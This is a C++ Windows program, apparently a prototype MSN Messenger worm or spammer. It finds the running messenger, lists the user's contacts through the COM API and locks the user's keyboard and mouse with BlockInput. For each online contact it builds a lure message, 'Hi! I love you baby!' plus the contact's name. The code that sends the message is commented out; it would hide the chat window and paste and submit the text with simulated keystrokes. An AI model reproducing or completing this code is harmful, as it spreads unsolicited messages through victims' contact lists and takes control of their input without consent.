#include <io.h>
#include <stdio.h>
//#include <Shlwapi.h>
#include <windows.h>
#include <Winable.h>
#include <Tlhelp32.h>
#import "MSNMessengerAPI.tlb" named_guids, no_namespace
void to_variant(BSTR, VARIANT & vt);
void SetSendMsg(char*, HWND);
int SendMsnMsg(char * );
BOOL IsFindMSNProcess(char*);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
char pMyMsg[]="Hi! I love you baby!";
char szMSNProcessName[]="msnmsgr.exe";
if (IsFindMSNProcess(szMSNProcessName))
{
SendMsnMsg(pMyMsg);
}else MessageBox(NULL,"MSN未运行!","Bad Boy",MB_OK);
return 0;
}
int SendMsnMsg(char * pSendMsg)
{
IMSNMessenger3 *pIMessenger = NULL;
CoInitialize(0);
HRESULT hr = CoCreateInstance(CLSID_Messenger,NULL,CLSCTX_ALL,IID_IMSNMessenger2,(void**)&pIMessenger);
char szMsnMsg[512];
char szBuf[128];
if (SUCCEEDED(hr))//1
{
IDispatch * dispContacts = NULL;
pIMessenger->get_MyContacts(&dispContacts);
if (SUCCEEDED(hr))//2
{
IMSNMessengerContacts *pIMessengerContacts = NULL;
hr = dispContacts->QueryInterface(__uuidof(pIMessengerContacts),(LPVOID*)&pIMessengerContacts);
if (SUCCEEDED(hr))//3
{
IDispatch * dispContact = NULL;
IMSNMessengerContact *pIMessengerContact = NULL;
long iContacts;
hr = pIMessengerContacts->get_Count(&iContacts);
if (SUCCEEDED(hr))//4
{
BlockInput(true);
for (long i = 0; i < iContacts; i++)
{
hr = pIMessengerContacts->raw_Item(i,&dispContact);
if (SUCCEEDED(hr))//5
{
hr = dispContact->QueryInterface(__uuidof(pIMessengerContact),(LPVOID*)&pIMessengerContact);
if (SUCCEEDED(hr))//6
{
BSTR szContactName;
VARIANT vt_user;
MISTATUS miStatus;
IDispatch *pIDispatch = NULL;
// IMSNMessengerWindow *pIMessengerWindow;
// LONG wndIM;
hr = pIMessengerContact->get_Status(&miStatus);
if (SUCCEEDED(hr))//7
{
char szOut[100];
sprintf(szOut,"%d",miStatus);
MessageBox(NULL,szOut,"Status",MB_OK);
if (miStatus == MISTATUS_OFFLINE)
{
MessageBox(NULL,"MSN未登录!","Fuck",MB_OK);
pIMessengerContact->Release();
dispContact->Release();
continue;
}
}
pIMessengerContact->get_SigninName(&szContactName);
VariantInit( &vt_user );
to_variant(szContactName, vt_user);
_bstr_t tmp = szContactName;
sprintf(szBuf, "%s", (LPCTSTR)tmp);
sprintf(szMsnMsg, "%s%s", pSendMsg, szBuf);
Sleep(3000);
// hr = pIMessenger->raw_InstantMessage(vt_user,&pIDispatch);
// if (SUCCEEDED(hr))
// {
// hr = pIDispatch->QueryInterface(IID_IMSNMessengerWindow, (void **)&pIMessengerWindow);
// if (SUCCEEDED(hr))
// {
// Sleep(10);
// pIMessengerWindow->get_HWND(&wndIM);
// SetForegroundWindow((HWND) wndIM);
// SetFocus((HWND) wndIM);
// ShowWindow((HWND) wndIM,0);
// srand(GetTickCount());
// SetSendMsg((char *)szMsnMsg, (HWND) wndIM);
// keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY | 0, 0);
// keybd_event(VkKeyScan('V'), 0, 0, 0);
// keybd_event(VK_CONTROL, 45, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0);
// keybd_event(VK_RETURN, 0, 0, 0);
// }
// }
pIMessengerContact->Release();
dispContact->Release();
}
}
}
BlockInput(false);
pIMessengerContacts->Release();
}
dispContacts->Release();
}
}
pIMessenger->Release();
}
CoUninitialize();
return 0;
}
void SetSendMsg(char* text, HWND hwnd)
{
HGLOBAL hData;
LPVOID pData;
OpenClipboard(hwnd);
EmptyClipboard();
hData = GlobalAlloc(GMEM_DDESHARE | GMEM_MOVEABLE, strlen(text) + 1);
pData = GlobalLock(hData);
strcpy((LPSTR)pData, text);
GlobalUnlock(hData);
SetClipboardData(CF_TEXT, hData);
CloseClipboard();
}
void to_variant(BSTR str, VARIANT& vt)
{
reinterpret_cast<_variant_t&>(vt) = str;
}
BOOL IsFindMSNProcess(char* pMsnProcessName)
{
BOOL retval = FALSE;
DWORD dwRet = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS,0 );
PROCESSENTRY32 processInfo;
processInfo.dwSize = sizeof( PROCESSENTRY32 );
int flag = Process32First( hSnapshot, &processInfo );
// Find the process with name as same as pMsnProcessName
while (flag != 0)
{
if (strcmp(processInfo.szExeFile, pMsnProcessName) == 0) {
retval = TRUE;
}
flag = Process32Next(hSnapshot, &processInfo);
} // while (flag != 0)
CloseHandle(hSnapshot);
return retval;
}